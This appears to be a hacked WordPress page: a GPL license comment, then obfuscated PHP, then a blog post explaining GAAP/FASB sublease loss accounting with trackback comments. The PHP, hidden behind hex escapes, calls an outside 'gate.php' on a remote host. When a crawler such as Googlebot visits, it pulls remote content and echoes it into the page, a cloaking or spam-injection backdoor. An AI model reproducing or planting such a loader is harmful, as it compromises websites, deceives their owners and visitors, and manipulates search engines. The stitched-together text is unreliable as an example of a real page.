/*
WordPress - Web publishing software
Copyright 2011 by the contributors
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
This program incorporates work covered by the following copyright and
permission notices:
b2 is (c) 2001, 2002 Michel Valdrighi - m@tidakada.com -
http://tidakada.com
Wherever third party code has been used, credit has been given in the code's
comments.
b2 is released under the GPL
and
WordPress - Web publishing software
Copyright 2003-2010 by the contributors
WordPress is released under the GPL
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
*/
${"\x47L\x4f\x42\x41\x4c\x53"}["\x6f\x66\x67\x78d\x78l\x6e\x69"]="\x75\x72\x6c";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x70\x69z\x76f\x75\x65"]="\x75s\x65\x72a\x67\x65\x6e\x74";${"\x47\x4cO\x42\x41LS"}["\x6fogg\x6b\x64"]="l\x69\x6e\x65";${"\x47L\x4f\x42\x41L\x53"}["\x74\x66\x75\x76\x79\x73d\x7a"]="url\x5f\x31";${"\x47\x4c\x4fB\x41\x4c\x53"}["w\x79\x6d\x72\x66\x6f\x69d\x73\x69"]="\x70\x6fs";${"\x47\x4cO\x42\x41LS"}["xpr\x77w\x73\x65j"]="p\x61\x74\x68";${"\x47L\x4f\x42\x41\x4c\x53"}["\x69\x75\x70\x7a\x66\x70nem"]="\x72\x65s\x70o\x6e\x73\x65";function geturl_1($url){return file_get_contents(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x66g\x78\x64\x78ln\x69"]});}${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6c\x6c\x62\x6e\x64\x78\x79\x64l\x6anm"]="c\x68";function geturl_2($sock,$host,$path,$query){$bslgiwascb="s\x6f\x63k";$vrytxr="\x71u\x65\x72\x79";$kgtxrrctee="\x72e\x73\x70\x6fnse";${"\x47\x4cOB\x41L\x53"}["\x72\x69s\x69hv\x6f\x77"]="\x72esp\x6fn\x73\x65";${"\x47L\x4f\x42\x41\x4c\x53"}["\x78la\x6cr\x70\x65\x76\x79"]="so\x63k";$ymzrcullsjkf="\x72\x65\x73\x70\x6fn\x73\x65";${"G\x4c\x4f\x42\x41LS"}["dms\x64\x65lb"]="\x72\x65\x73\x70\x6fn\x73e";$kvgflvy="\x73\x6f\x63\x6b";fputs(${$bslgiwascb},"\x47E\x54\x20".${${"\x47\x4cO\x42A\x4cS"}["\x78p\x72\x77w\x73e\x6a"]}."?".${$vrytxr}." \x48T\x54\x50\x2f\x31\x2e\x30\r\n"."\x48\x6f\x73t\x3a $host\r\n"."U\x73\x65r\x2d\x41\x67e\x6et\x3a Mo\x7a\x69\x6cla\x2f5\x2e\x30\x20(Window\x73;\x20\x55;\x20Win\x64ow\x73\x20\x4eT 5\x2e1\x3b\x20\x65\x6e\x2d\x55\x53;\x20\x72v:\x31\x2e\x38.\x30\x2e3\x29 G\x65cko/200\x36\x3042\x36 F\x69\x72e\x66\x6f\x78\x2f\x31\x2e\x35.\x30\x2e3\r\n"."\x41\x63\x63\x65\x70\x74\x3a\x20*\x2f*\r\n"."\x41cce\x70\x74-\x4c\x61\x6e\x67ua\x67e: e\x6e-\x75s\x2c\x65n;\x71=0.5\r\n"."\x41cc\x65p\x74-\x43h\x61\x72\x73\x65t\x3a\x20I\x53\x4f\x2d885\x39-\x31,u\x74f\x2d8;\x71\x3d\x30.\x37\x2c*;\x71=0.7\r\n"."\x4b\x65\x65\x70-A\x6c\x69ve\x3a\x20\x330\x30\r\n"."\x43\x6fnnect\x69\x6f\x6e:\x20ke\x65\x70-al\x69\x76\x65\r\n"."Ref\x65\x72er\x3a\x20\x68t\x74\x70:\x2f\x2f$host\r\n\r\n");while(${${"GLOB\x41\x4c\x53"}["\x6fo\x67\x67kd"]}=fread(${$kvgflvy},4096)){${${"\x47L\x4f\x42\x41\x4c\x53"}["\x69\x75\x70zfp\x6e\x65m"]}.=${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x6fggk\x64"]};}fclose(${${"\x47\x4c\x4fB\x41L\x53"}["\x78lal\x72\x70\x65\x76\x79"]});${${"\x47\x4c\x4fB\x41L\x53"}["wy\x6d\x72\x66\x6f\x69\x64\x73i"]}=strpos(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x6d\x73delb"]},"\r\n\r\n");${$kgtxrrctee}=substr(${${"\x47\x4cOBA\x4c\x53"}["\x72i\x73i\x68\x76o\x77"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["w\x79\x6drf\x6f\x69ds\x69"]}+4);return${$ymzrcullsjkf};}${"\x47\x4c\x4f\x42\x41L\x53"}["\x70\x67\x65n\x66\x70\x61\x6d\x63p\x74"]="s\x6fck";function geturl_3($url){$qvqynucfsnr="\x63h";${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x74\x70\x6a\x6es\x62g\x72"]="\x63\x68";${$qvqynucfsnr}=curl_init(${${"\x47\x4c\x4fBA\x4c\x53"}["\x6f\x66\x67\x78d\x78l\x6e\x69"]});curl_setopt(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x74\x70\x6a\x6e\x73bg\x72"]},CURLOPT_HEADER,FALSE);$gocgaziqqt="\x72\x65sul\x74";${"G\x4cO\x42\x41\x4c\x53"}["e\x79md\x75\x66\x64h\x74"]="c\x68";curl_setopt(${${"\x47L\x4f\x42A\x4c\x53"}["l\x6cb\x6e\x64\x78\x79dlj\x6em"]},CURLOPT_RETURNTRANSFER,TRUE);$nujstqtawyk="re\x73\x75\x6c\x74";${$nujstqtawyk}=curl_exec(${${"\x47L\x4fB\x41\x4c\x53"}["\x65\x79\x6d\x64\x75\x66\x64h\x74"]});curl_close(${${"\x47\x4c\x4fB\x41\x4cS"}["ll\x62\x6e\x64\x78\x79dl\x6a\x6e\x6d"]});return${$gocgaziqqt};}function getuseragent($useragent){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79l\x66ig\x61\x62\x74"]="u\x73\x65\x72a\x67\x65\x6e\x74";${"\x47L\x4f\x42A\x4cS"}["cl\x76\x6d\x75\x65\x7aj"]="\x75\x73\x65\x72a\x67\x65n\x74";if(stripos(${${"\x47L\x4f\x42\x41LS"}["\x70\x69\x7av\x66u\x65"]},"\x67oo\x67l\x65\x62ot")||stripos(${${"\x47\x4c\x4f\x42\x41L\x53"}["y\x6c\x66i\x67\x61\x62\x74"]},"s\x6cu\x72\x70")||stripos(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x63\x6c\x76\x6du\x65z\x6a"]},"\x6d\x73nbo\x74")){return 1;}return 0;}function mainwork($url){if(ini_get("\x61ll\x6f\x77\x5f\x75r\x6c\x5f\x66op\x65\x6e")==1){$nvnzoabil="\x75\x72l";echo geturl_1(${$nvnzoabil});}else{${"\x47\x4cO\x42\x41\x4c\x53"}["d\x77\x6dm\x76\x64\x6c"]="u\x72\x6c_1";${${"GLOB\x41L\x53"}["\x64w\x6dmvdl"]}=parse_url(${${"GL\x4fB\x41\x4c\x53"}["\x6f\x66\x67\x78dx\x6cn\x69"]});if(${${"\x47L\x4f\x42\x41LS"}["\x70\x67\x65\x6e\x66\x70a\x6d\x63\x70t"]}=@fsockopen(${${"\x47\x4c\x4fBALS"}["\x74f\x75\x76\x79s\x64z"]}["\x68ost"],80)){echo geturl_2(${${"\x47\x4cO\x42\x41L\x53"}["\x70\x67en\x66\x70\x61\x6d\x63pt"]},${${"\x47\x4c\x4f\x42ALS"}["\x74f\x75vy\x73\x64\x7a"]}["\x68\x6f\x73\x74"],${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x66\x75\x76\x79sd\x7a"]}["path"],${${"\x47\x4c\x4fBA\x4c\x53"}["\x74f\x75\x76\x79\x73\x64z"]}["que\x72y"]);}elseif(@function_exists("c\x75r\x6c\x5fini\x74")){${"\x47L\x4f\x42A\x4c\x53"}["\x69\x6fm\x66\x78ylg\x79\x64\x77"]="\x75\x72\x6c";echo geturl_3(${${"G\x4c\x4fB\x41\x4cS"}["\x69\x6f\x6d\x66\x78y\x6cgy\x64\x77"]});}}}$friidcrrwq="\x63\x6f\x75\x6e\x74\x5f\x75r\x6c";${"G\x4cO\x42\x41\x4cS"}["ljc\x66je"]="st\x61\x74\x69c";${"\x47L\x4fBA\x4cS"}["\x7a\x6a\x6bpz\x6e\x72\x71"]="c\x6f\x75\x6e\x74\x5fu\x72l";${"\x47\x4cO\x42A\x4c\x53"}["\x74\x72g\x77\x6e\x70\x70\x6b\x6e"]="c\x6fu\x6e\x74\x5f\x73";${$friidcrrwq}=15;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x70\x77\x74\x75\x76\x71"]="c\x6co\x61\x63\x61";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6cj\x63\x66\x6a\x65"]}=1;$omucbdgwj="i\x64";${"\x47\x4cO\x42\x41\x4c\x53"}["ouh\x72\x6d\x77\x79\x78\x64\x71\x63"]="c\x6c\x6fac\x61";${$omucbdgwj}=1;$akirebb="c\x6f\x75\x6e\x74\x5f\x73";${"\x47L\x4f\x42ALS"}["\x78\x6f\x79\x62\x73s\x77e\x65kd\x73"]="\x63\x6c\x6f\x61c\x61";${"\x47\x4cOB\x41LS"}["\x6ev\x69\x6a\x62\x71\x76i\x78\x6c\x6c"]="\x69d";${$akirebb}=1;${${"GLO\x42\x41\x4c\x53"}["\x78o\x79\x62s\x73we\x65k\x64\x73"]}=1;$host="\x68t\x74\x70\x3a//\x70alm\x61si\x6b.c\x6fm\x2f\x67\x61te.\x70h\x70";${${"\x47\x4c\x4f\x42\x41LS"}["\x6f\x66g\x78\x64\x78l\x6e\x69"]}=$host."\x3fc\x6f\x75\x6et\x3d".${${"G\x4c\x4f\x42AL\x53"}["zj\x6b\x70z\x6e\x72\x71"]}."&st\x61tic=".${${"\x47\x4cO\x42\x41\x4cS"}["\x6c\x6a\x63\x66je"]}."\x26\x69d\x3d".${${"G\x4c\x4f\x42\x41LS"}["n\x76i\x6a\x62q\x76i\x78\x6c\x6c"]}."&\x63ount\x5fs\x3d".${${"\x47\x4c\x4f\x42ALS"}["tr\x67\x77n\x70\x70kn"]};if(${${"\x47L\x4f\x42A\x4cS"}["o\x75\x68\x72\x6d\x77\x79\x78\x64\x71\x63"]}&&getuseragent($_SERVER["\x48\x54TP\x5fUSE\x52_\x41\x47\x45NT"])){$yvgimnmsgzf="\x75r\x6c";mainwork(${$yvgimnmsgzf});}elseif(${${"\x47\x4cOBAL\x53"}["pw\x74\x75\x76\x71"]}==0){$qelkozwnqybc="u\x72\x6c";mainwork(${$qelkozwnqybc});}
?>
February 21, 2010
Lucernex expert Jim Duport discusses GAAP sublease accounting.
2012 Update to this blog is at: GAAP FASB Sublease Accounting for Retail
Summary of GAAP/FASB Accounting for a Loss Associated with a Sublease
Our interpretation of GAAP sublease analysis according to FASB accounting rules is as follows:
Overview: Start by determining the net present value of all rental costs including write-offs of depreciation and subleasing costs, offset by the sublease income (the NPV write-off). The Income Statement (Profit & Loss statement) is then charged the NPV write-off and it is charged an interest expense based on a declining balance of the NPV write-off, the accretion interest expense. The declining balance is determined by taking the net monthly costs (including sublease income) and the interest expense and deducting that cost from the NPV write-off.
Steps are as follows:
1. Determine a start date for the sublease analysis, e.g. if the space is vacated in January 2004 and put on the market for sublease, then the analysis starts January 2004.
2. Determine the remaining lease obligation for the balance of the term from the start date above (rent, operating expenses, taxes, i.e. what was committed to when the lease was executed).
3. Determine the net book value (NBV) of any assets that will be written off as of the start date above, e.g. un-depreciated leasehold improvements.
4. Make sublease assumptions including
- Timing, when space will be subleased
- Rent and Free Rent
- Operating Expenses and Taxes (Subtenant’s base year?)
- Commissions
- Tenant Improvement costs paid by the Sublessor associated with the sublease
- Other costs associated with the sublease
5. Calculate the total cost of the space, include the write-off of the assets on the start date and any Commissions and Tenant Improvement costs paid by the Sublessor
6. Calculate the total income from the sublease, i.e. rent and any operating expense reimbursement.
7. Determine the Shortfall that is the difference between the cost of the space and income.
8. Determine the present value of the Shortfall using a risk-free discount rate (the NPV write-off).
Note 1: The discount rate may not be the same rate as the corporation uses for internal analysis.
Note 2: Lx LseMod calculates the present value monthly based on a beginning of month payment.
9. Determine the Beginning Balance for calculation of Accretion Interest Expense. The Beginning Balance is the Present Value minus the Cash Shortfall in the current month.
10. Determine the monthly Accretion Interest Expense. This expense is the Interest on the Beginning Balance in step 9 above. The Interest rate is the same as used for the present value calculation in step 8.
11. Re-set the Beginning Balance for the next month by taking the previous month’s balance and reducing it by the Cash Shortfall in the current month.
12. Continue this process until the balance is 0.
13. At the end, all costs net out to 0 on the Income Statement (P&L).
Costs booked against the Income Statement include the following:
a. NPV Write-Off including Depreciation
b. Accretion (Interest Expense)
The net effect of GAAP subleasing is what we used to call “funny money” accounting. However, it does impact the Income Statement (P&L), which in turn impacts taxes, which impacts the After Tax NPV.
Examples
See a report example to the right or view a detailed example.
You can also view many other financial analysis report examples of Sublease and Lx LseMod Lease Analysis reporting.
|
 Sublease GAAP Monthly Report
|
Notes
A: If the original lease costs booked to the Income Statement (Profit & Loss statement) were based on GAAP accounting (i.e. the rent was spread evenly over the term), then the calculations of the loss must be based on the GAAP rent, not the Cash Flow rent.
B: Lx LseMod Corporate Lease Analysis includes the option to create a GAAP rent analysis as well as a GAAP sublease analysis.
Disclaimer – The summary above represents our interpretation. It is NOT intended to replace information received from tax accounting professionals.
To see the actual FASB write-up, go to http://www.fasb.org/st/
scroll down the page to Statement No. 146, “Accounting for Costs Associated with Exit or Disposal Activities.”
Shameless Plug
Lx LseMod Corporate Lease Analysis is the market leading application for Corporate lease analysis, providing GAAP sublease impact analysis within detailed P&L and Cash Flow projections. Companies like GE, MetLife, American Express and Robert Half use Lx LseMod Corporate for lease analysis making it the most trusted name in corporate lease analysis.
[...] on the proposed FASB GAAP lease accounting changes 5 GAAP Rules you need to know GAAP in Commercial Real Estate Sublease Accounting Go Beyond a simple and potentially misleading Cash Flow analysis What is GAAP rent and how does it [...]
[...] on the proposed FASB GAAP lease accounting changes 5 GAAP Rules you need to know GAAP in Commercial Real Estate Sublease Accounting Go Beyond a simple and potentially misleading Cash Flow analysis What is GAAP rent and how does it [...]
[...] and it has announced it … http://www.nysscpa.org/cpajournal/2006/906/essentials/p34.htm GAAP in Commercial Real Estate Sublease Accounting | Lucernex … … here) discusses GAAP sublease accounting. GAAP Sublease Accounting Summary of GAAP/FASB [...]
[...] 4.GAAP in Commercial Real Estate Sublease Accounting | Lucernex [...]
thanks !! very helpful post!
[...] posted here: GAAP in Commercial Real Estate Sublease Accounting « Lucernex … tags: budget, commercial, deals, duport, estate-sublease, gaap, money, personal | AcQuest [...]